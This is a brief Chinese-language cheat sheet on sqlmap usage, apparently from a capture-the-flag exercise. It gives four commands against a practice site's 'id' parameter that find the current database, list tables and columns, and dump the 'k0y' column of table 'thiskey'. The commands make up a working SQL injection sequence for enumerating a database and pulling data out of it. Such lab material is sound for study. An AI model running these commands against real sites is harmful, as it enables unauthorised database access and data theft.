sqlmap 简要使用
- 查询现用的数据库
python .\sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --current-db
- 查询数据库中my_db所有表
python .\sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db --tables
- 查询数据库my_db中thiskey表中所有列
python .\sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey --columns
- 查询数据库my_db中thiskey表中k0y的值所有列
python .\sqlmap.py -u "http://ctf5.shiyanbar.com/8/index.php?id=1" -D my_db -T thiskey -C k0y --dump